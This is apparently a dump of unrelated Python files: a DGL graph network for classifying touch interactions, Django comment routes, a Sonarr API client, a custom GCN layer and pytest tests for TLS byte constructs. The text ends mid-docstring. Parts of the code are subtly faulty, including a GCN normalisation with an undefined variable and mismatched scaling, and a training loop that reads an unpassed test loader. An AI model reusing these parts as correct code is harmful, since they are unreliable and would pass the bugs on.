import torch.nn.functional as F
import time
from dgl.nn.pytorch import GraphConv, Set2Set, GlobalAttentionPooling
import json
import dgl
import torch.nn as nn
import torch
import matplotlib.pyplot as plt
from dataloaders import get_dataloaders_from_graph, get_dataloaders_from_csv
import seaborn as sns
from sklearn.metrics import confusion_matrix
from prettytable import PrettyTable
from sklearn.utils.multiclass import unique_labels
import numpy as np
from sklearn.metrics import multilabel_confusion_matrix

"""
## Initial settings ##
SET_SEED = 69
# Compatibility with CUDA and GPU -> remember to move into GPU
device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')
# make deterministic the stochastic operation to have better comparable tests
if SET_SEED != -1:
    if torch.cuda.is_available():
        torch.cuda.manual_seed(SET_SEED)
        torch.cuda.manual_seed_all(SET_SEED)
        torch.backends.cudnn.deterministic = True
        torch.backends.cudnn.benchmark = False
    np.random.seed(SET_SEED)
    torch.manual_seed(SET_SEED)
"""

def visualize_loss(history, model='Model'):
    # Print the accuracy/loss vs epochs graph given an history array #
    loss = history["loss"]
    val_loss = history["val_loss"]
    epochs = list(range(len(loss)))
    plt.figure()
    plt.plot(epochs, loss, "b", label="Training loss")
    plt.plot(epochs, val_loss, "r", label="Validation loss")
    plt.title(f'loss visualization')
    plt.xlabel("Epochs")
    plt.ylabel("Accuracy")
    plt.legend()
    plt.savefig(f'images/loss_{model}.jpg')
    plt.close()

def matrix_confusion_overall(y_test, y_pred, model='Model'):
    # Save a confusion matrix with all the class together (2^num classes cases) given the prediction and labels #
    labels = unique_labels(y_test, y_pred)
    # create confusion matrix
    matrix = confusion_matrix(y_test, y_pred, labels)
    sns.heatmap(matrix, square=True, annot=True, fmt='d', cbar=False, xticklabels=labels, yticklabels=labels)
    # set title and labels
    plt.title('Confusion matrix ' + model)
    plt.ylabel('true label')
    plt.xlabel('predicted label')
    plt.savefig('images/full_confusion_matrix_' + model + '.jpg')
    plt.close()
    # plt.show()

def matrix_confusion(y_test, y_pred, model='Model'):
    # Save a confusion matrix for each class #
    labels = ['big-small', 'dynamic-static', 'press-tap', 'dangerous-safe']
    # create confusion matrix
    matrix = multilabel_confusion_matrix(y_test, y_pred)
    for i in range(4):
        print(matrix[i])
        sns.heatmap(matrix[i], square=True, annot=True, fmt='d', cbar=False)
        # set title and labels
        plt.title('Confusion Matrix_' + labels[i])
        plt.ylabel('true label')
        plt.xlabel('predicted label')
        plt.savefig(f'images/confusion_matrix_{labels[i]}_{model}.png')
        plt.close()
        # plt.show()

def class_to_label(y):
    # combines a prediction array into a label with the name of all the classes, required for the overall confusion matrix #
    y = y.type(torch.uint8)
    classes = [['Big', 'Small'], ['Dynamic', 'Static'], ['Press', 'Tap'], ['Dangeours', 'Safe']]
    return f'{classes[0][y[0, 0].item()]}/{classes[1][y[0, 1].item()]}/{classes[2][y[0, 2].item()]}/{classes[3][y[0, 3].item()]}'
    #return [ classes[0][y[0, 0].item()] , classes[1][y[0, 1].item()], classes[2][y[0, 2].item()], classes[3][y[0, 3].item()] ]

def missclassified_obj(statistics, info_encoder, model='Model'):
    # Save histograms with the missclassification vs pressure, speed and shape of the interation #
    list_shapes = list(info_encoder.values())
    # Max value constants
    max_pressure = 1300
    discretization = 13
    max_velocity = 14
    for c in statistics:
        t = np.squeeze(torch.stack(statistics[c]['obj info']).numpy())
        # binarize shapes and show bars
        bin_obj_shape = np.bincount(t[:, 0].astype(int))
        if bin_obj_shape.size < len(list_shapes):
            bin_obj_shape = np.pad(bin_obj_shape, (0, len(list_shapes) - bin_obj_shape.size), 'constant', constant_values=0)
        plt.bar(list_shapes, bin_obj_shape)
        plt.xticks(list_shapes, list(info_encoder.keys()))
        plt.title(f'Misclassification for class {statistics[c]["class"]} compared to object shape')
        plt.savefig(f'images/statistics_{statistics[c]["class"]}_shape_{model}.png')
        plt.close()
        # binarize pressure values and show bars
        bin_pressure = np.bincount(t[:, 1].astype(int))
        if bin_pressure.size < max_pressure:
            bin_pressure = np.pad(bin_pressure, (0, max_pressure - bin_pressure.size), 'constant', constant_values=0)
        # discretize bins
        bin_pressure = np.asarray([np.sum(chunk) for chunk in np.split(bin_pressure, discretization)])
        plt.bar(np.arange(discretization), bin_pressure)
        plt.xticks(np.arange(discretization), np.arange(0, max_pressure, max_pressure / discretization))
        plt.title(f'Misclassification for class {statistics[c]["class"]} compared to pressure')
        plt.savefig(f'images/statistics_{statistics[c]["class"]}_pressure_{model}.png')
        plt.close()
        # binarize velocity and show bars
        bin_velocity = np.bincount((t[:, -1] * 10).astype(int))
        if bin_velocity.size < max_velocity:
            bin_velocity = np.pad(bin_velocity, (0, max_velocity - bin_velocity.size), 'constant', constant_values=0)
        plt.bar(np.arange(max_velocity), bin_velocity)
        plt.xticks(np.arange(max_velocity), np.arange(max_velocity) / 10)
        plt.title(f'Misclassification for class {statistics[c]["class"]} compared to velocity')
        plt.savefig(f'images/statistics_{statistics[c]["class"]}_velocity_{model}.png')
        plt.close()

### Sequence Graph Approach ###
class GConvNetFrames(nn.Module):
    def __init__(self, device, window_size=1, stride_frac=1):
        super().__init__()
        self.name = 'sequence graph'
        self.window_size = window_size #sliding window size
        self.stride_frac = stride_frac #fraction of the overlap between a window and the following one

        self.loss = nn.BCELoss()

        self.activation = nn.SiLU()

        hidden = 128

        # Network architecture
        # GConv layers
        self.GCN_layers = nn.ModuleList()
        self.GCN_layers.append(GraphConv(1, 32, activation=self.activation))
        self.GCN_layers.append(GraphConv(32, hidden, activation=self.activation))
        # temporal layer
        self.temporal_layer = nn.GRU(hidden, hidden, bidirectional=False)
        # pooling
        self.att_pool = GlobalAttentionPooling(nn.Linear(hidden, 1))
        # dense layers
        self.dense_layers = nn.ModuleList()
        self.dense_layers.append(nn.Linear(hidden, 16))
        # self.dense_layers.append(nn.GroupNorm(16, 16))
        self.dense_layers.append(nn.Linear(16, 4))

        self.device = device #this approach is optimized to work on GPUs
        self.to(device)
        self.count_parameters()

    def count_parameters(self):
        # Return a graphical representation of the network architecture #
        model = self
        table = PrettyTable(["Modules", "Parameters"])
        total_params = 0
        for name, parameter in model.named_parameters():
            if not parameter.requires_grad: continue
            param = parameter.numel()
            table.add_row([name, param])
            total_params += param
        print(table)
        # Print the number of total trainable parameters as measure of the network compexity
        print(f"Total Trainable Params: {total_params}")
        return total_params

    def forward(self, graphs):
        try:
            features = []
            for graph in graphs:
                h = graph.ndata['feature'].float()
                # for layer, norm in zip(self.GCN_layers, self.GCN_layers_norm):
                for layer in self.GCN_layers:
                    h = layer(graph, h)
                    # h = norm(h)
                graph.ndata['feature'] = h
                features.append(h)
            batch_graphs = dgl.batch(graphs)
            batch_f = torch.cat(features, 0)
            # out = self.s2s(batch_graphs, batch_f)
            out = self.att_pool(batch_graphs, batch_f)
            _, out = self.temporal_layer(torch.reshape(out, (len(graphs), 1, out.shape[-1])))
            for dense in self.dense_layers:
                out = self.activation(dense(torch.reshape(out, (1, out.shape[-1]))))
                #out = nn.Dropout(p=0.1)(out)
            return torch.sigmoid(torch.reshape(out, (1, 4)))
        except RuntimeError as e:
            print('sample skipped: ', e)
            print(graphs, [graph.ndata for graph in graphs])
            return None

    def train_loop(self, train_dataloader, validation_dataloader, epochs=50, lr=0.001):
        model = self  # create a model
        optimizer = torch.optim.Adam(model.parameters(), lr=lr)  # choose an optimizer
        ## Configuring the DataLoader ##
        batch_size = 1
        num_train = train_dataloader.__len__()

        ## Training phase ##
        history = {
            'loss': [],
            'val_loss': []
        }
        acc_history = []
        best_acc = 0
        for epoch in range(epochs):
            start_time = time.time()
            print('Epoch ', epoch + 1, 'of ', epochs)
            ex = 0
            skipped = 0
            running_loss = 0.0
            epoch_loss = 0.0

            model.train()

            for graphs, label, _ in train_dataloader:
                batched_graph = [graph.to(self.device) for graph in graphs]
                label = label.to(self.device)
                pred = model(batched_graph)  # forward computation on the batched graph
                if pred is not None:
                    J = self.loss(pred, label)  # calculate the cost function
                    optimizer.zero_grad()  # set the gradients to zero
                    J.backward()
                    optimizer.step()  # backpropagate
                    running_loss += J.detach().item()
                    ex += batch_size
                    if ex % 300 == 0:
                        print(f'{epoch + 1}/{ex + 1}-{num_train} -> Loss: {running_loss / 300}')
                        epoch_loss += running_loss
                        running_loss = 0.0
                else:
                    skipped += 1

            # calculate the loss
            epoch_loss = epoch_loss / (num_train - skipped)
            print(f"Epoch {epoch + 1}, seconds: {time.time() - start_time} -- loss: {epoch_loss}")
            history['loss'].append(epoch_loss)

            model.eval()
            model.zero_grad()

            # calculate the accuracy on test set and print
            num_correct = 0
            num_tests = 0
            val_loss = 0
            for batched_graph, label, _ in validation_dataloader:
                batched_graph = [graph.to(self.device) for graph in batched_graph]
                label = label.to(self.device)
                pred = model(batched_graph)  # forward computation on the batched graph
                if pred is not None:
                    J = self.loss(pred, label)
                    val_loss += J.detach().item()
                    num_correct += ((pred > 0.5) == label).sum().item()
                    num_tests += (label.shape[0] * label.shape[1])
            acc = num_correct / num_tests
            acc_history.append(acc)
            val_loss = val_loss / len(validation_dataloader)
            print(f"Val Loss for epoch {epoch + 1}: {val_loss}")
            history['val_loss'].append(val_loss)
            print('Test of overall accuracy: ', acc)
            #According to the validation accuracy we save the best model, this is usefull to achieve better results with a very swinging learning as we obtained
            if (acc > best_acc):
                best_acc = acc
                self.save()

        ## Save the accuracy/epochs report ##
        with open('./logfile_GNNframes.txt', 'w') as fp:
            fp.write(json.dumps(acc_history))
            print('### Log saved ###')

        visualize_loss(history, model.name)

        return acc_history

    def evaluation(self, test_dataloader, info_encoder):
        model = self
        print('### Evaluation of the network ###')
        # calculate the accuracy on test set and print
        statistics = {0: {'class': 'big-small', 'obj info': []},
                      1: {'class': 'dynamic-static', 'obj info': []},
                      2: {'class': 'press-tap', 'obj info': []},
                      3: {'class': 'dangerous-safe', 'obj info': []}} #data structure used to verify the balance level of the test set
        num_correct_class = torch.zeros((1, 4)).to(self.device)
        num_test_class = torch.zeros((1, 4)).to(self.device)
        num_correct = 0.0
        num_tests = 0.0
        test_loss = 0.0
        y_pred = []
        y_test = []
        for batched_graph, label, info in test_dataloader:
            batched_graph = [graph.to(self.device) for graph in batched_graph]
            label = label.to(self.device)
            pred = model(batched_graph)  # forward computation on the batched graph
            # Accuracy and Loss
            J = self.loss(pred, label)
            test_loss += J.detach().item()
            pred = pred > 0.5
            num_correct += (pred == label).sum().item()
            num_tests += (label.shape[0] * label.shape[1])

            # Confusion matrix
            y_pred.append(pred.int().tolist()[0])
            y_test.append(label.int().tolist()[0])

            # Per class accuracy
            num_correct_class += (pred == label)
            uncorrect_class = np.where((pred == label).to('cpu').numpy() == False)[1]
            for missclassified in uncorrect_class:
                statistics[missclassified]['obj info'].append(info)
            num_test_class += 1
        #overall accuracy
        acc = num_correct / num_tests
        print(f'Overall accuracy: {acc}, Loss: {test_loss / len(test_dataloader)}')
        # Per class accuracy
        num_correct_class = num_correct_class / num_test_class
        classes = ['Big/Small', 'Dynamic/Static', 'Press/Tap', 'Dangerous/Safe']
        for i in range(4):
            print(f'{classes[i]} -> Accuracy: {num_correct_class[0, i]}')
        # per-class confusion matrix
        matrix_confusion(y_test, y_pred, model.name)
        # missclassification histograms
        missclassified_obj(statistics, info_encoder, model.name)

    def save(self, file='GNN_frames.tar'):
        # Save the trained network #
        torch.save(self.state_dict(), file)

    def load(file):
        # Load a trained model #
        model = GConvNetFrames(device)
        model.load_state_dict(torch.load(file, map_location=torch.device('cpu')))
        print('### Model loaded ###')
        return model

### Temporal Graph Approach ###
class GConvNetBigGraph(nn.Module):
    def __init__(self,
                 window_size=30,
                 stride_frac=1):
        super().__init__()
        self.name = 'big graph'
        self.window_size = window_size #sliding window size
        self.stride_frac = stride_frac #fraction of the overlap between a window and the following one

        hidden1 = 500 #first hidden dimension
        hidden2 = 20 #second hidden dimension
        output = 4

        self.loss = nn.BCELoss()

        #Network architecture
        self.conv1 = GraphConv(window_size, 250, bias=True, activation=nn.SiLU())
        self.conv2 = GraphConv(250, hidden1, bias=True, activation=nn.SiLU())
        self.hidden = nn.Linear(in_features=hidden1, out_features=hidden2, bias=True)
        self.acthidden = nn.SiLU()
        self.hidden2 = nn.Linear(in_features=hidden2, out_features=100, bias=True)
        self.acthidden2 = nn.SiLU()
        self.output = nn.Linear(in_features=100, out_features=output, bias=True)
        self.actout = nn.Sigmoid()

        self.count_parameters()

    def forward(self, graphs, features):
        # define a NN structure using GDL and Torch layers
        x = self.conv1(graphs, features)
        x = self.conv2(graphs, x)
        # Self attention methods, tested and discarted for weak results x = dgl.nn.SetTransformerEncoder(30, 4, 4, 20, dropouth = 0.9, dropouta=0.9)(graphs, features)
        graphs.ndata['h'] = x
        x = dgl.nn.MaxPooling()(graphs, x)  # More complex pooling layer, tested and discarted for weak resutls dgl.nn.WeightAndSum(500)(graphs, x)#
        x = self.hidden(x)
        x = self.acthidden(x)
        x = nn.Dropout(p=0.2)(x)
        x = self.hidden2(x)
        x = self.acthidden2(x)
        x = nn.Dropout(p=0.2)(x)
        x = self.output(x)
        x = self.actout(x)
        return x

    def count_parameters(self):
        # Return a graphical representation of the network architecture #
        model = self
        table = PrettyTable(["Modules", "Parameters"])
        total_params = 0
        for name, parameter in model.named_parameters():
            if not parameter.requires_grad: continue
            param = parameter.numel()
            table.add_row([name, param])
            total_params += param
        print(table)
        # Print the number of total trainable parameters as measure of the network compexity
        print(f"Total Trainable Params: {total_params}")
        return total_params

    def train(self, train_dataloader, validation_dataloader, epochs=70, lr=0.0005, test_rate=0.8):
        model = self  # create a model
        optimizer = torch.optim.Adam(model.parameters(), lr=lr)  # choose an optimizer
        ## Configuring the DataLoader ##
        batch_size = 1
        num_train = train_dataloader.__len__()

        ## Training phase ##
        acc_history = []
        best_acc = 0
        for epoch in range(epochs):
            print('Epoch ', epoch + 1, 'of ', epochs)
            ex = 0
            running_loss = 0.0
            epoch_loss = 0.0
            for batched_graph, label, _ in train_dataloader:
                batched_graph = batched_graph[0]
                pred = model(batched_graph,
                             batched_graph.ndata['feature'].float())  # forward computation on the batched graph
                J = self.loss(pred, label)  # calculate the cost function
                optimizer.zero_grad()  # set the gradients to zero
                J.backward()
                optimizer.step()  # backpropagate
                running_loss += J.detach().item()
                ex += batch_size
                if ex % 200 == 0:
                    print(f'{epoch}/{ex + 1} -> Loss: {running_loss / 200}')
                    epoch_loss += running_loss
                    running_loss = 0.0
            # calculate the accuracy on test set and print
            epoch_loss = epoch_loss / num_train
            print(f'Epoch Loss: {epoch_loss}')
            num_correct = 0.0
            num_tests = 0.0
            val_loss = 0.0
            for batched_graph, label, _ in test_dataloader:
                batched_graph = batched_graph[0]
                pred = model(batched_graph,
                             batched_graph.ndata['feature'].float())  # forward computation on the batched graph
                J = self.loss(pred, label)
                val_loss += J.detach().item()
                num_correct += ((pred > 0.5) == label).sum().item()
                num_tests += (label.shape[0] * label.shape[1])
            acc = num_correct / num_tests
            acc_history.append(acc)
            print(f'Test of overall Accuracy: {acc}, Validation Loss: {val_loss}')
            #According to the validation accuracy we save the best model, this is usefull to achieve better results with a very swinging learning as we obtained
            if (acc > best_acc):
                best_acc = acc
                self.save()

        ## Save the accuracy/epochs report ##
        with open('./logfile.txt', 'w') as fp:
            fp.write(json.dumps(acc_history))
            print('### Log saved ###')

        return acc_history

    def save(self, file='GNN_BG.tar'):
        torch.save(self.state_dict(), file)

    def load(file):
        model = GConvNetBigGraph()
        model.load_state_dict(torch.load(file, map_location=torch.device('cpu')))
        print('### Model loaded ###')
        return model

    def evaluation(self, test_dataloader, info_encoder):
        model = self
        print('### Evaluation of the network ###')
        # calculate the accuracy on test set and print
        statistics = {0: {'class': 'big-small', 'obj info': []},
                      1: {'class': 'dynamic-static', 'obj info': []},
                      2: {'class': 'press-tap', 'obj info': []},
                      3: {'class': 'dangerous-safe', 'obj info': []}}
        num_correct_class = torch.zeros((1, 4))
        num_test_class = torch.zeros((1, 4))
        num_correct = 0.0
        num_tests = 0.0
        test_loss = 0.0
        y_pred = []
        y_test = []
        for batched_graph, label, info in test_dataloader:
            batched_graph = batched_graph[0]
            pred = model(batched_graph,
                         batched_graph.ndata['feature'].float())  # forward computation on the batched graph
            # Accuracy and Loss
            J = self.loss(pred, label)
            test_loss += J.detach().item()
            pred = pred > 0.5
            num_correct += (pred == label).sum().item()
            num_tests += (label.shape[0] * label.shape[1])

            # Confusion matrix
            y_pred.append(pred.int().tolist()[0])
            y_test.append(label.int().tolist()[0])

            # Per class accuracy
            num_correct_class += (pred == label)
            uncorrect_class = np.where((pred == label).to('cpu').numpy() == False)[1]
            for missclassified in uncorrect_class:
                statistics[missclassified]['obj info'].append(info)
            num_test_class += 1
        #Overall accuracy
        acc = num_correct / num_tests
        print(f'Overall accuracy: {acc}, Loss: {test_loss / len(test_dataloader)}')
        #Per-class accuracy
        num_correct_class = num_correct_class / num_test_class
        classes = ['Big/Small', 'Dynamic/Static', 'Press/Tap', 'Dangerous/Safe']
        for i in range(4):
            print(f'{classes[i]} -> Accuracy: {num_correct_class[0, i]}')
        #Per-class confusion matrix
        matrix_confusion(y_test, y_pred, 'BigGraph')
        #Per-class confusion matrix
        missclassified_obj(statistics, info_encoder, 'BigGraph')

if __name__ == '__main__':
    device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')
    NET = 'GConvNetFrames' #choose the type of graph approach
    TRAIN = False #choose if train and evaluate (True) or evaluate only (False)
    if NET == 'GConvNetFrames':
        model = GConvNetFrames(device)

        train_dataloader, \
        validation_dataloader, \
        test_dataloader, \
        info_encoder = get_dataloaders_from_csv(window_size=model.window_size, stride_frac=model.stride_frac)
        if(TRAIN):
            acc_hist = model.train_loop(train_dataloader, validation_dataloader)
            plt.plot(acc_hist)
            plt.title('accuracy history')
            plt.savefig(f'images/accuracy_{model.name}.jpg')
            plt.show()
        model_best = GConvNetFrames.load('./GNN_frames.tar')
        model_best.evaluation(test_dataloader, info_encoder)

    elif NET == 'GConvNetBigGraph':
        model = GConvNetBigGraph()

        train_dataloader, \
        validation_dataloader, \
        test_dataloader, \
        info_encoder = get_dataloaders_from_csv(window_size=model.window_size, stride_frac=model.stride_frac)
        if(TRAIN):
            acc_hist = model.train(train_dataloader, validation_dataloader, epochs=70)
            plt.plot(acc_hist)
            plt.title('accuracy history')
            plt.savefig(f'images/accuracy_BG.jpg')
            plt.show()
        model_best = GConvNetBigGraph.load('./GNN_BG.tar')
        model_best.evaluation(test_dataloader, info_encoder)


from django.urls import path
from . import views

urlpatterns = [
    path('post-project/<int:project_id>', views.comment_project, name="comment-projects"),
    path('comment-post-project/<int:project_id>', views.post_comment_project, name="post-comment-project"),
    path('delete-comment-project/<int:comment_id>', views.delete_comment_project, name='delete-comment'),
    path('edit-comment/<int:comment_id>', views.edit_comment_project, name='edit-comment'),

    path('post-job/<int:jobs_id>', views.comment_jobs, name="comment-jobs"),
    path('comment-post-job/<int:jobs_id>', views.post_comment_jobs, name="post-comment-jobs"),
    path('delete-comment-job/<int:comment_id>', views.delete_comment_jobs, name='delete-comment-jobs'),
    path('edit-comment-job/<int:comment_id>', views.edit_comment_jobs, name='edit-comment-jobs'),
]


import os
from kink import inject
import json
import requests
from src.domain.config.app_config import Config
from src.domain.config.media_server_config import MediaServerConfig
from src.infrastructure.api_query import ApiConfig
from src.infrastructure.interfaces.imedia_server_repository import IMediaServerRepository
from urllib.parse import quote

from src.infrastructure.media_server_repository import IMediaServerRepositoryBase
from src.infrastructure.sonarr.series import Series
from src.logger import Logger

@inject
class Sonarr(IMediaServerRepository):
    def __init__(self, logger: Logger, config: Config, client: requests, media_server: IMediaServerRepositoryBase):
        self._config: MediaServerConfig = config.sonarr
        self._logger = logger
        self._requests = client
        self._media_server = media_server
        self._api_key_identifier = "SONARR_API_KEY"

    @property
    def defaults(self) -> dict:
        return self._config.defaults

    @property
    def _api_query(self):
        return ApiConfig(url=self._config.url, port=self._config.port)

    @property
    def media_type(self):
        return Series

    @staticmethod
    def set_search_params(user_data: dict) -> dict:
        parameters = {"term": quote(user_data['title'])}
        return parameters

    def search(self, title: str = None, tmdbid: int = None) -> dict:
        parameters = {"term": quote(title)}
        query = self.generate_api_query("series/lookup", parameters)

        return self._media_server.search(query,  self._api_key_identifier)

    def get_my_library(self) -> list[Series]:
        query = self.generate_api_query("series/lookup")
        return self._media_server.get_my_library(query,  self._api_key_identifier, Series)

    def add_to_library(self, user_data: dict) -> bool:
        language_id = self._get_language_profile_id("English")

        seasons = []

        for season in user_data['seasons']:
            if season["selected"]:
                seasons.append({"seasonNumber": season["seasonNumber"], "monitored": True})

        parameters = {
            "term": f"tvdb:{user_data['id']}",
            "languageProfileId": str(language_id),
        }

        req = self._requests.get(
            self.generate_api_query("series/lookup", parameters),
            headers={'X-Api-Key': str(os.environ.get("SONARR_API_KEY"))}
        )

        parsed_json = json.loads(req.text)[0]

        data = self._build_data(parsed_json, user_data['path'], user_data['quality_profile'], language_id, seasons)

        return self._media_server.add_to_library(data, self.generate_api_query("series"), self._api_key_identifier)

    def remove_from_library(self, media_id: int) -> bool:
        query = f'{self.generate_api_query(f"series")}/{media_id}'
        return self._media_server.remove_from_library(query, self._api_key_identifier)

    def get_root_folders(self):
        query = self.generate_api_query("Rootfolder")
        return self._media_server.get_root_folders(query, self._api_key_identifier)

    def get_quality_profiles(self):
        query = self.generate_api_query("qualityProfile")
        return self._media_server.get_quality_profiles(query, self._api_key_identifier)

    def generate_api_query(self, endpoint: str, parameters: dict = None):
        return self._media_server.generate_api_query(self._api_query, endpoint, parameters)

    def _get_language_profile_id(self, language):
        req = requests.get(self.generate_api_query("languageProfile"),
                           headers={'X-Api-Key': str(os.environ.get("SONARR_API_KEY"))})
        parsed_json = req.json()
        language_id = next((lang["id"] for lang in parsed_json if lang["name"] == language), parsed_json[0]["id"])

        return language_id

    @staticmethod
    def _build_data(json_data, path, quality_profile_id, language_id, seasons):
        built_data = {
            "qualityProfileId": int(quality_profile_id),
            "rootFolderPath": path,
            "addOptions": {
                "ignoreEpisodesWithFiles": "true",
                "ignoreEpisodesWithoutFiles": "false",
                "searchForMissingEpisodes": "true",
            },
            "monitored": True,
            "languageProfileId": language_id,
            "seasons": seasons,
        }

        required_fields = ["tvdbId", "tvRageId", "title", "titleSlug", "images"]

        for key in required_fields:
            built_data[key] = json_data[key]
        return built_data


from torch_sparse import SparseTensor, fill_diag, sum, mul, matmul
from torch.nn import Module, Parameter
from torch import Tensor
from typing import Optional
from graph_torch.nn.init import glorot

def gcn_norm(adj: SparseTensor, add_self_loops: bool = True):
    if adj.has_value() == False:
        adj = adj.fill_value(1.)
    if add_self_loops:
        A_tilde = fill_diag(adj, 1)
    D_tilde = sum(A_tilde, dim = 1)
    D_tilde_inv_sqrt = D_tilde.pow_(-0.5)
    D_tilde_inv_sqrt.masked_fill_(D_tilde_inv_sqrt == float('inf'), 0)
    A_hat = mul(mul(A_tilde, D_tilde_inv_sqrt.unsqueeze(0)), D_tilde_inv_sqrt.unsqueeze(0))
    return A_hat

class GCN_layer(Module):

    def __init__(self,
                 in_channels: int,
                 out_channels: int,
                 add_self_loops: bool = True,
                 weight_init = glorot
                ):
        super(GCN_layer, self).__init__()
        self.in_channels = in_channels
        self.out_channels = out_channels
        self.add_self_loops = add_self_loops
        self.weights = Parameter(data = Tensor(in_channels, out_channels))
        weight_init(self.weights)

    def forward(self, X: Tensor, edges: SparseTensor):

        A_hat = gcn_norm(adj = edges,
                         add_self_loops = self.add_self_loops
                        )
        out = matmul(A_hat, X) @ self.weights
        return out


# This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.

from __future__ import absolute_import, division, print_function

import enum

from construct import Pass, Struct, UBInt16, UBInt8
from construct.adapters import MappingError, ValidationError, Validator
from construct.core import AdaptationError, Construct, Container

import pytest

from tls._common._constructs import (BytesAdapter, EnumClass, EnumSwitch,
                                     Opaque, PrefixedBytes, SizeAtLeast,
                                     SizeAtMost, SizeWithin,
                                     TLSExprValidator, TLSOneOf,
                                     TLSPrefixedArray, UBInt24, _UBInt24)

from tls.exceptions import TLSValidationException

@pytest.mark.parametrize("byte,number", [
    (b"\x00\x00\xFF", 255),
    (b"\x00\xFF\xFF", 65535),
    (b"\xFF\xFF\xFF", 16777215)
])
class TestUBInt24(object):
    def test_encode(self, byte, number):
        ubint24 = _UBInt24(Construct(name="test"))
        assert ubint24._encode(number, context=object()) == byte

    def test_decode(self, byte, number):
        ubint24 = _UBInt24(Construct(name="test"))
        assert ubint24._decode(byte, context=object()) == number

def test_ubint24():
    assert isinstance(UBInt24("test"), _UBInt24)

class TestBytesAdapter(object):
    """
    Tests for :py:class:`tls._common._constructs.BytesAdapter`.
    """

    @pytest.fixture
    def bytes_adapted(self):
        """
        A :py:class:`tls._common._constructs.BytesAdapter` that adapts a
        trivial :py:func:`construct.Construct`.
        """
        return BytesAdapter(Construct(name=None))

    @pytest.mark.parametrize("non_bytes", [
        u"invalid",
        u"\u2022",
        object(),
    ])
    def test_encode_disallows_non_bytes(self, bytes_adapted, non_bytes):
        """
        :py:meth:`tls._common._constructs.BytesAdapter._encode` raises a
        :py:exc:`construct.core.AdaptationError` when encoding
        anything that isn't :py:class:`bytes`.
        """
        with pytest.raises(AdaptationError) as e:
            bytes_adapted._encode(non_bytes, context=object())

        assert 'requires bytes' in e.value.args[0]

    @pytest.mark.parametrize("byte_string", [
        b"valid",
        b"\xff",
    ])
    def test_encode_allows_bytes(self, bytes_adapted, byte_string):
        """
        :py:meth:`tls._common._constructs.BytesAdapter._encode` encodes
        :py:class:`bytes` without raising an exception.
        """
        assert bytes_adapted._encode(byte_string,
                                     context=object()) == byte_string

    @pytest.mark.parametrize("value", [
        b"bytes",
        u"unicode",
        "native",
        object(),
    ])
    def test_decode_passes_value_through(self, bytes_adapted, value):
        """
        :py:meth:`tls._common._constructs.BytesAdapter._decode` decodes
        :py:class:`bytes` as :py:class:`bytes`.
        """
        assert bytes_adapted._decode(value, context=object()) is value

class TestTLSExprValidator(object):
    """
    Tests for :py:class:`tls._common._constructs.TLSExprValidator`.
    """
    @pytest.fixture
    def data_class(self):
        """
        A :py:func:`construct.macros.UBInt8` construct that requires the
        input value to be equal to 6.
        """
        return TLSExprValidator(UBInt8('input_byte'),
                                lambda obj, ctx: obj == 6)

    def test_parse_invalid(self, data_class):
        """
        :py:class:`tls.common._constructs.TLSExprValidator` raises a
        ``TLSValidationException`` when parsing a value that does not
        evaluate to the provided expression.
        """
        with pytest.raises(TLSValidationException):
            data_class.parse(b'\xff')

    def test_parse_valid(self, data_class):
        """
        :py:class:`tls.common._constructs.TLSExprValidator` parses a value
        that evaluates to the provided expression.
        """
        assert data_class.parse(b'\x06') == 6

    def test_build_invalid(self, data_class):
        """
        :py:class:`tls.common._constructs.TLSExprValidator` raises a
        ``TLSValidationException`` when serializing a value that does not
        evaluate to the provided expression.
        """
        with pytest.raises(TLSValidationException):
            data_class.build(2)

    def test_build_valid(self, data_class):
        """
        :py:class:`tls.common._construct.TLSExprValidator` successfully
        serializes a value into bytes when it evaluates to the provided
        expression.
        """
        assert data_class.build(6) == b'\x06'

class TestTLSOneOf(object):
    """
    Tests for :py:meth:`tls._common._constructs.TLSOneOf`.
    """

    @pytest.fixture
    def data_class(self):
        """
        A :py:func:`construct.macros.UBInt8` construct that requires the
        input value to be equal to one of 1, 3, or 5.
        """
        return TLSOneOf(UBInt8('input'),
                        [1, 3, 5])

    def test_parse_invalid(self, data_class):
        """
        :py:meth:`tls.common._constructs.TLSOneOf` raises a
        ``TLSValidationException`` when parsing a value that is not one of
        the values in the provided list.
        """
        with pytest.raises(TLSValidationException):
            data_class.parse(b'\xff')

    @pytest.mark.parametrize('input_bytes,parsed_output', [
        (b'\x01', 1),
        (b'\x03', 3),
        (b'\x05', 5),
    ])
    def test_parse_valid(self, data_class, input_bytes, parsed_output):
        """
        :py:meth:`tls.common._constructs.TLSOneOf` parses a value that
        equals one of the values in the provided list.
        """
        assert data_class.parse(input_bytes) == parsed_output

    def test_build_invalid(self, data_class):
        """
        :py:meth:`tls.common._constructs.TLSOneOf` raises a
        ``TLSValidationException`` when serializing a value that is not one
        of the values in the provided list.
        """
        with pytest.raises(TLSValidationException):
            data_class.build(2)

    @pytest.mark.parametrize('input,built_bytes', [
        (1, b'\x01'),
        (3, b'\x03'),
        (5, b'\x05'),
    ])
    def test_build_valid(self, data_class, input, built_bytes):
        """
        :py:meth:`tls.common._construct.TLSOneOf` successfully serializes a
        value into bytes when it evaluates to one of the values in the
        provided list.
        """
        assert data_class.build(input) == built_bytes

@pytest.mark.parametrize("bytestring,encoded", [
    (b"", b"\x00" + b""),
    (b"some value", b"\x0A" + b"some value"),
    (b"a" * 255, b"\xff" + b"a" * 255),
])
class TestPrefixedBytesWithDefaultLength(object):
    """
    Tests for :py:func:`tls._common._constructs.PrefixedBytes` with the default
    :py:func:`construct.macros.UBInt8` ``length_field`` construct.
    """

    @pytest.fixture
    def prefixed_bytes(self):
        """
        A trivial :py:func:`tls._common._constructs.PrefixedBytes` construct
        with the default :py:func:`construct.macros.UBInt8` length field.
        """
        return PrefixedBytes("PrefixedBytes")

    def test_build(self, prefixed_bytes, bytestring, encoded):
        """
        :py:meth:`tls._common._constructs.PrefixedBytes` encodes
        :py:class:`bytes` as a length-prefixed byte sequence.
        """
        assert prefixed_bytes.build(bytestring) == encoded

    def test_parse(self, prefixed_bytes, bytestring, encoded):
        """
        :py:meth:`tls._common._constructs.PrefixedBytes` decodes a
        length-prefixed byte sequence as :py:class:`bytes`.
        """
        assert prefixed_bytes.parse(encoded) == bytestring

    def test_round_trip(self, prefixed_bytes, bytestring, encoded):
        """
        :py:meth:`tls._common._constructs.PrefixedBytes` decodes a
        length-prefixed binary sequence encoded by
